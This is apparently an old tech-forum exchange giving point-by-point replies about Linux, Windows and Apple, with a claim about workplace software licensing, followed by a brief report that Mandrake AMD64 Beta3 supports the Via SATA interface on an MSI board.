1.> I use Linux at work, and Linux/XP on my personal laptop. I have no issues with either my work machines, or my laptop.

2.> Valid point about the games.

3.> You'd need to see the licensing agreements before making the blanket statement about Wintel users at work steal software for home use. Every place I've worked was licensed so employees COULD install a copy of whatever was on their PC at work at home (so they could work at home, of course).

4.> Apple works against itself, they don't need any help from the rest of us. It's just an unattractive system (as a whole) to the majority of PC owners/users.

Apple needs to rethink their product lines, their OS, and their marketing. Seriously, none of those things appear to be working well enough for Apple at this point in time.

I have great respect for Apple's latest hardware offerings. I just wish they'd package everything so I'd be halfway interested in one of their systems, and could justify spending the extra $$$.

Mandrake AMD64 beta + MSI board

[dbIII]

Forgot to say the Via SATA interface works on install of Mandrake AMD64 Beta3. This board gives you four SATA interfaces.